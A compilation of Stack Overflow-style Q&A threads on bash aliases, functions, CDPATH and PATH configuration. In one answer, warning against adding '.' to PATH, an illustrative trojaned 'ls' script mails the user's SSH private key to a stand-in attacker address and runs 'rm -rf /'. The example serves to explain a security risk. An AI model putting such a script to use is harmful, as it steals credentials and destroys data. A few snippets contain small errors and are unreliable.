In Mac OS Terminal, I'm learning the basics of Unix. I'm having trouble with a hopeful easy fix, but cannot figure out where to start looking.
cd __________ && ls
That is a pretty common pattern for me, to check and see the file folder I'm working in. To save myself keystrokes, I thought to make an alias in my .profile
alias cd='cd && ls'
Now, the obvious flaw (which was not obvious to me) was I would not be able to give it a directory to actually change to
cd ~/Documents/ && ls
This is what I would like to do, but not have to type those last four characters. Any ideas on how I could incorporate my user input (maybe some kind of $(pbpaste) option?
Any help or suggestions would be appreciated.
You need to first create BASH function for this instead of alias:
mycd() { cd "$1"; ls; }
alias cd='mycd '
then use it like this:
cd ~/Documents/
Related
I often find myself typing cd.. (which results in -bash: cd“: command not found) in stead of cd ..
So would like to add an alias for this in my .bashrc or better yet, I would like an alias for .. to mean cd ..
I can't get it to work however; I tried several options:
alias ..=cd .. results in alias ..='cd'
alias ..='cd ..' results in alias ..=''cd'
Also escaping the dots in various ways doesn't work:
alias ..=cd \.\. results in alias ..='cd'
alias ..=cd '\.\.' results in alias ..='cd'
What is correct way to do this right?
This works for me on linux (Ubuntu 16.04) with bash v4.3.46. I believe it won't be any different for macOS.
alias '..'='cd ..'
I assume that you are interested in solutions working for bash.
If you want to solve this with an alias, you have to use a name which starts with a letter, for instance
alias up='cd ..'
Maybe more interesting for you would perhaps a general solution, where typing any directory name would cd to this directory. You can do it by placing into your .bashrc the command
shopt -s autocd
After this, .. would bring you one directory up, ~ would bring you to your home direcory and aunt/bertie would cd you right to your aunt.
Currently, to get to the directory I need to type this:
cd /cygdrive/c/Users/NameOfUser/FolderBelongingToUser
Is there a way to make it so that I can just type something like:
cd FolderBelongingToUser ?
I'm familiar with z (uses ranking) and cdargs (uses shortcuts) but there are many other tools designed to make navigation in your shell easier and built-in solutions like CDPATH or the ** wildcard…
CDPATH
Adding something like this in your *rc file:
export CDPATH='.:~:/cygdrive/c/Users/NameOfUser/'
allows you to do exactly what you are after:
$ cd FolderBelongingToUser
or, better:
$ cd Fold<Tab>
**
If your bash is recent enough, you can do something like this:
$ cd **/foo
If you're using OSX you can open the hidden file named .bash_profile in your root user directory and add an entry like this:
alias define_your_shortcut='define your path'
You can do this for anything. For example here is an alias for your example:
alias FolderBelongingToUser='cd /cygdrive/c/Users/NameOfUser/FolderBelongingToUser'
Here's another example using a command to toggle hidden files
alias showfiles='defaults write com.apple.finder ShowAllFiles TRUE'
alias hidefiles='defaults write com.apple.finder ShowAllFiles FALSE'
After you make any changes to your bash_profile you'll need to either logout and login or you can open terminal and tell it to reload your bash_profile with this command
source ~/.bash_profile
I'm not personally familiar with Windows but if your using Windows a quick search result explained that this is how you would create a command prompt alias in Windows
AddConsoleAlias( TEXT("test"),
TEXT("cd \\<a_very_long_path>\\test"),
TEXT("cmd.exe"));
Alternatively it looks like someone provided a good answer to doing this in Windows here: https://superuser.com/questions/560519/how-to-set-an-alias-in-windows-command-line
Vim normally supports tab completion, so you can probably type something like
cd ~NamTabFolTab
which will expand to
cd /cygdrive/c/Users/NameOfUser/FolderBelongingToUser
Of course, if NameOfUser is you, then you can probably just type
cd ~/FolTab
You can add the following line to your .vimrc
cabbr FolderBelongingToUser /cygdrive/c/Users/NameOfUser/FolderBelongingToUser
Then you can can
cd FolderBelongingToUser
If you want to add more to the path (eg to specify a filename with :w) you can press / after FolderBelongingToUser and it will replace it with the full path and allow you to continue typing.
:ca[bbrev] is a Command line only abbreviation. See: :help :cabbr
If this is a permanent alias, then in your ~/.bashrc, create an alias:
alias FTBU='/cygdrive/c/Users/NameOfUser/FolderBelongingToUser'
You will then be able to access it in your shell by:
$ cd FTBU
As another trick, if you are only going to use the alias to change to the directory then simply add cd to the alias
alias FTBU='cd /cygdrive/c/Users/NameOfUser/FolderBelongingToUser'
You then need only type:
$ FTBU
to change to the /cygdrive/c/Users/NameOfUser/FolderBelongingToUser directory. However, if you plan to use the alias for any other purpose, leave the cd out of the alias definition.
If this is a temporary alias, you can simply create an alias from the command line with:
$ alias FTBU='/cygdrive/c/Users/NameOfUser/FolderBelongingToUser'
with the same results. (substitute anything you like for FTBU) Note: you remove an alias with the unalias command. Also Note: you should to check whether an existing system command exists with the name of your alias before assigning it. Simply type the proposed alias at the command line. If you receive something line bash: your_alias: Command Not Found, then you are good to go. There is no minimum number of characters required in an alias. So it you want to use a single-character, that's fine.
This is probably a very basic question but I could not find a good answer anywhere, also sorry I didn't post this to the Unix version of StackExchange I didn't want to create an account for a simple question. Heads up I'm using a Mac, so not sure if that will effect the answer
I created a unix function
tap()
{
touch $1
open $1
}
My problem is I don't know where I should write/save the function.
I put this function in my .bashrc but when I try calling tap it does not work. Is there something I should do to activate it? I did source .bashrc but this did not work. Where should I put it.
Save it as a file.
vim tap
touch $1
open $1
:wq
chmod +x tap
sudo mv tap /usr/local/bin
Typing 'cd' alone in unix terminal leads to Home directory. I wish to disable this functionality. Usually I make the error of typing enter just after cd, and then each time I need to comback to the previous working directory. I loose a lot of time by doing so.
To go Home directory, one would instead just need to type cd ~.
Any idea please?
You can use cd - to quickly return to the previous directory ($OLDPWD). In general, I recommend getting used to UNIX as it is. But if you really want to, add this function to ~/.bashrc. It will make cd with no arguments a noop.
cd() {
(( $# > 0)) && builtin cd "$#"
}
I have a Bash script on my desktop called highest.
If I run:
cd ~/Desktop
highest
I get: Command not found
But if I run:
~/Desktop/highest
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
I agree with #Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker#foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor#university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
export PATH=$PATH:~/bin
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.
The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:
export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"
Don't change PATH, simply move or symlink the script to some standard location, e.g.
mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest
If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.
You would need to add the local directory to your path:
PATH=$PATH:.
export PATH
This can be done in your .profile or .bash_profile to always set this up whenever you login.
Also, as a matter of course, you can run the command with the current directory marker:
./highest
as well.
Of course there are security implications as noted below by many MANY users, which I should have mentioned.